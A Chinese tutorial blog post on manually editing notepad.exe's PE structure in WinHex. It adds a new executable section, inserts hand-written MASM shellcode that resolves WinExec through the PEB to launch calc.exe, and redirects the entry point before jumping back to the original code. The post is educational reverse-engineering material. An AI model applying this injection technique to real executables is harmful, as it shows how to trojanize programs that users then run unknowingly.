修改记事本PE结构弹计算器Shellcode
修改记事本PE结构弹计算器Shellcode
0x00 前言
在上一篇文章中介绍了PE节表的分析,这篇文章主要是对其进行手动实验来加深对节表的理解,并且这里用一个记事本的例子做演示,我们用Winhex软件通过修改、添加十六进制数据让记事本一启动就能弹出计算器。
整体的思路是:给记事本添加一个节,节内添加弹计算器Shellcode十六进制+jmp到原OEP(程序入口点),修改OEP指向->新区段位置。运行记事本让其弹计算器。
0x01 添加新节
首先需要找一个32位的记事本,我这里用的是xp系统下的notepad.exe。
修改节数量
第一步我们先修改节数量,之前都有介绍节数量在标准PE头中的NT标识后4个字节,这里原本是3我们将其改成4。

节表位置
节表位置在可选PE头下面,所以我们先找到可选PE头,并且找到可选PE头的大小就能找到节表位置了。可选PE头大小在NT标识开始0x14字节位置。

添加新节表信息
新节信息的位置应该在节表数量*3的位置即:节表开始处+(3 x 0x28=0x78处),一个节信息固定大小0x28。
然后我们将荧光笔中的数据覆盖成我们新节的信息。

新节名就叫.hack把,hack节哈哈挺酷。然后节在内存中大小就设成0x1000,新节在内存中的位置为0x13000。
这个0x13000即新节位置是根据:之前最后一个节(内存中节位置+对其后节大小)计算出来的,可以根据我们上篇文章写的工具来进行分析。
0xb000+0x8000等于0x13000,所以这是新节位置。这里一定不要算错了要不然程序会崩溃。

接着是文件中节的大小即对其后节的大小0x1000刚好对其,所以也设置成0x1000。接着是新节在文件中的位置,这里同样我们得到之前最后一个节在文件中的偏移,然后再加上文件中节大小就是其新节位置了。
(新节在文件中的位置)0x8400+0x8000=0x10400,然后其余还有4各成员数据默认都设置成0x00,最后一个比较关键之前也讲过他是节的属性,决定了改节是否可读、写、执行。
在这里我们直接将他设置成代码段的属性(包含可执行代码),(可读),(可执行):0x60000020。这里不懂的可以复习下PE节表的详细分析。
| 新节信息 | 值 |
|---|---|
| Name | .hack |
| VirtualSize(内存中大小) | 0x1000 |
| VirtualAddress(内存中偏移) | 0x13000 |
| SizeOfRawData(文件中大小) | 0x1000 |
| PointerToRawData(文件中偏移) | 0x10400 |
| PointerToRelocations | 0x00000000 |
| PointerToLinenumbers | 0x00000000 |
| NumberOfRelocations | 0x0000 |
| NumberOfLinenumbers | 0x0000 |
| Characteristics(标志节属性) | 0x60000020 |
最后在0x104000位置添加0x1000数据,也就是文件末尾处我们添加0x1000个0的数据。
先用Winhex新建一个0x1000的文件

然后复制数据到notepad.exe文件末尾处。


至此新节添加完毕,我们可以来添加shellcode了。
0x02 添加弹计算器Shellcode
好了到这里我们可以来添加我们的Shellcode了,首先我们需要用汇编写一个弹计算器的代码,然后将其转换成十六进制。
.386
.model flat,stdcall
; 代码区域
.code
main:
push ebp
mov ebp,esp
sub esp,20h; 开辟栈空间
;获取Kernel32基址
assume fs:nothing
mov eax,[fs:30h]; peb结构所在地址
mov eax,[eax+0Ch]; Ldr
mov eax,[eax+1Ch]; 指向ntdll
mov eax,[eax]; 指向kernelbase
mov eax,[eax]; 指向kernel32
mov eax,[eax+08h]; BaseAddress
;遍历kernel32导出函数
;初始化栈空间用来保存变量
mov DWORD PTR[ebp-04h],0; 用来存放导出函数“地址表”
mov DWORD PTR[ebp-08h],0; 用来存放导出函数“名称表”
mov DWORD PTR[ebp-0Ch],0; 用来存放导出函数“序号表”
; 解析PE结构获取导出表结构实际地址
mov ebx,DWORD PTR[eax + 3Ch] ; NT头偏移地址
lea ebx,DWORD PTR[ebx + eax] ; NT头VA
mov ebx,DWORD PTR[ebx + 78h] ; 导出表结构VirtualAddress
lea edx,DWORD PTR[ebx + eax] ; 导出表结构实际地址
; 获取导出函数地址表VA
mov ebx,DWORD PTR[edx + 1Ch] ; AddressOfFunctions 偏移
lea ebx,DWORD PTR[ebx + eax] ; AddressOfFunctions 实际地址
mov DWORD PTR[ebp - 04h],ebx ; 保存到局部变量
; 获取导出函数名称表VA
mov ebx,DWORD PTR[edx + 20h] ; AddressOfNames 偏移
lea ebx,DWORD PTR[ebx + eax] ; AddressOfNames 实际地址
mov DWORD PTR[ebp - 08h],ebx ; 保存到局部变量
; 获取导出函数序号表VA
mov ebx,DWORD PTR[edx + 24h] ; AddressOfNameOrdinals 偏移
lea ebx,DWORD PTR[ebx + eax] ; AddressOfNameOrdinals 实际地址
mov DWORD PTR[ebp - 0Ch],ebx ; 保存到局部变量
; 开始遍历三张表,找到目标函数地址
mov edi,DWORD PTR[edx + 18h] ; NumberOfNames循环次数
xor ecx,ecx ; 清空ecx,作为循环计数
mov esi,DWORD PTR[ebp - 08h] ; 暂存导出函数名称表 实际地址
_ExportName:
mov ebx,DWORD PTR[esi + ecx * 4];函数名称 偏移地址
lea ebx,DWORD PTR[ebx + eax]; 获取第n个导出函数的名称 实际地址
; 判断函数名称
mov ebx,[ebx]
cmp ebx,456E6957h;判断是否WinE
je _FindFunc
;自增1,开始下一次遍历
inc ecx;
jmp _ExportName
_FindFunc:
;找到目标函数,获取该函数地址VA
mov ebx,DWORD PTR[ebp - 0Ch] ; 序号表 实际地址
xor edx,edx ; 注意序号表是2字节数组
mov dx,WORD PTR[ebx + ecx * 2] ; 获取对应序号表中保存的值
mov ebx,DWORD PTR[ebp - 04h] ; 地址表 实际地址
mov ebx,DWORD PTR[ebx + edx * 4]; 地址表中,目标函数地址 偏移地址
lea eax,DWORD PTR[ebx + eax] ; 目标函数实际地址;
; 调用函数
jmp _gotFunc
g_str db "calc.exe"
g_stop db 0
_gotFunc: call $+5
pop ebx;获取eip
sub ebx,0Eh
push 5h
push ebx
call eax
; 恢复函数栈帧
mov esp,ebp
pop ebp
ret
end main
end
用MASM套件中的ml将其编译成可执行文件,这里我推荐用RadASM这工具来写Windows汇编代码,他是一个专门用来写汇编的IDE非常好用 YYDS!


然后我们用Winhex打开这个编译好的exe提取他代码段中的数据作为Shellcode。

修改代码
然后我们需要将代码在改一改,比如在shellcode的最后一个地方C3这里对应的汇编代码是ret这样会让程序返回到调用的地方,这里我需要将其改成nop即:0x90。
0040101D| C3 ret
;C3改为如下90
0040101D| 90 nop
然后我们还要跳回到原来的入口点,这样程序才能正常执行他原本的功能。
跳转的代码是jmp,然后我们需要计算出当前位置距离OEP的位置,目前还不知道距离所以先写jmp 0x0000000来代替即E9 00 00 00 00
我们先把Shellcode覆盖到新节的位置,利用WinHex的写入hex数据来覆盖之前的0数据。


覆盖后的shellcode。

0x03 修改入口点
在最后我们需要修改入口点来使的notepad.exe一开始就先执行我们的shellcode代码,不知道怎么改入口点的读者可以看看我之前写的文章PE头详细分析。
原来的入口点地址为:0x0000739D。

修改为shellcode处的入口点:0x00010400

计算跳转OEP偏移
好了在最后我们需要把E9 00000000中的数据给填上,才能真正的完成。计算公式为:(原OEP)-((当前地址)+5)
先把光标停在E9处,然后Winhex中显示地址为0x1049F,那么我们可以把公式中的当前地址改成0x1049F,即(0x0000739D)-((0x1049F)+5)

最后利用Python来计算下偏移,算出来是负数的因为他要往上跳,正常是应该为负数。

然后用最终用计算器将其转换成十六进制,并且我们取他的4字节就行。

最后我们把地址给填上,收工完成。

0x04 bug修复
哈哈哈哈果然没有那么幸运,我一运行时候发现程序报错了。

然后仔细研究后发现,SizeofImage这个值我没有改,得把他改成添加节后的大小0x14000。
还有就是入口点偏移没算对,因为我发现新的段在内存中不在0x14000,而是在0x13000,应该是我们没有把之前那个段填对其,导致我们新加的段被他对其,所以地址就变成了0x13000。

这里我计算出新的偏移:0xFFFF42F9


修复后winhex中的地址。

最后把入口点也修复成:0x13000。

0x05 验证结果


欢迎各位加群:

修改记事本PE结构弹计算器Shellcode的更多相关文章
- 【PE结构】由浅入深PE基础学习-菜鸟手动查询导出表、相对虚拟地址(RVA)与文件偏移地址转换(FOA)
0 前言 此篇文章想写如何通过工具手查导出表.PE文件代码编程过程中的原理.文笔不是很好,内容也是查阅了很多的资料后整合出来的.希望借此加深对PE文件格式的理解,也希望可以对看雪论坛有所贡献.因为了解 ...
- OD 实验(五) - 对 PE 结构的简单分析
载入程序,按 Alt+M 查看内存空间 双击进入程序的 PE 头 这些为 DOS 环境下才会运行的 这个执行 PE 的地址,PE 结构的偏移地址为 C0 找到这个地址 以 PE 开头 SizeOfCo ...
- 编写自定义PE结构的程序(如何手写一个PE,高级编译器都是编译好的PE头部,例如MASM,TASM等,NASM,FASM是低级编译器.可以自定义结构)
正在学PE结构...感谢个位大哥的文章和资料...这里先说声谢谢 一般高级编译器都是编译好的PE头部,例如MASM,TASM等一直都说NASM,FASM是低级编译器.可以自定义结构但是苦于无人发布相关 ...
- 手写PE结构解析工具
PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如 ...
- Win32汇编-编写PE结构解析工具
汇编语言(assembly language)是一种用于电子计算机.微处理器.微控制器或其他可编程器件的低级语言,亦称为符号语言.在汇编语言中,用助记符(Mnemonics)代替机器指令的操作码,用地 ...
- 羽夏笔记——PE结构(不包含.Net)
写在前面 本笔记是由本人独自整理出来的,图片来源于网络.本人非计算机专业,可能对本教程涉及的事物没有了解的足够深入,如有错误,欢迎批评指正. 如有好的建议,欢迎反馈.码字不易,如果本篇文章有帮助你 ...
- 羽夏壳世界—— PE 结构(上)
羽夏壳世界之 PE 结构(上),介绍难度较低的基本 PE 相关结构体.
- Mongodb:修改文档结构后出现错误:Element '***' does not match any field or property of class ***.
Mongodb:修改文档结构后出现错误:Element '***' does not match any field or property of class ***. Mongodb是一种面向文档的 ...
- 在线批量修改mysql中表结构
在线批量修改mysql中表结构 1.获取要修改的表的表名称登录mysql库,查询出所有表 show tables; 将需要修改表结构的表名称存放到b.txt文件中2.执行修改修改表引擎为InnoDB ...
随机推荐
- Shell系列(17)- 配置文件功能(待完善)
配置文件功能 文件名 功能 相关联命令 /etc/profile USER变量 LOGNAME变量 MAIL变量 PATH变量 HOSTNAME变量 umask 调用/etc/profile.d/*. ...
- 微信小程序 创建自己的第一个小程序
* 成为微信公众平台的开发者 注册 https://mp.weixin.qq.com * 登录 https://open.weixin.qq.com/ * 开发者工具下载 https://develo ...
- redis的安装与设置开机自启动
redis 的安装配置: 可以直接去官网下载((https://redis.io/download) 解压文件到指定目录下 tar zxvf redis-5.0.7.tar.gz -C /opt/ ...
- YbtOJ#943-平方约数【莫比乌斯反演,平衡规划】
正题 题目链接:http://www.ybtoj.com.cn/contest/122/problem/3 题目大意 \(S(i)\)表示\(i\)的约数个数,\(Q\)次询问给出\(n,m\)求 \ ...
- Javascript设计模式之原型模式、发布订阅模式
原型模式 原型模式用于在创建对象时,通过共享某个对象原型的属性和方法,从而达到提高性能.降低内存占用.代码复用的效果. 示例一 function Person(name) { this.name = ...
- Git 管理工具 基本用法
git管理工具基本操作命令: 1. 提交 git push origin dev 2.拉取分支: git pull 3.创建并转换分支: git switch -c dev; 4.直接切换到已有分支: ...
- Apache Struts2 S2-013远程代码执行漏洞复现
墨者学院开的靶场 进入环境 Struts2-013好家伙,框架直接写脸上,怕人看不出来= = 看了看源码什么的啥都没发现= = 去了解了一下这个漏洞,爬回来继续做 漏洞原理 struts2的标签中&l ...
- 【原创】xenomai 在X86平台下中断响应时间测试
1.中断响应时间 实时操作系统的意义就在于能够在确定的时间内处理各种突发的事件,而中断这些事件.系统抢占调度的触发点,因而衡量嵌入式实时操作系统的最主要.最具有代表性的性能指标参数无疑是中断响应时间. ...
- linux主机互信操作
一.主机互信原理两个主机之间ssh登录需要提示输入对方的密码,当频繁需要登录操作时,可以通过linux公钥和秘钥,建立双机信任关系.把你源主机的公钥文件内容追加到目的主机对应用户下的authorize ...
- 关于takin-data,你想知道的都在这里(二)trace日志篇
相信大家在使用takin的过程中都见到过压测过程中实时展示的请求流量明细和请求详情了吧,像这样: 还有这样: 这样的请求流量明细和调用链详情是怎么实现的呢,今天就带大家探究下. 在前面的启动命令篇(h ...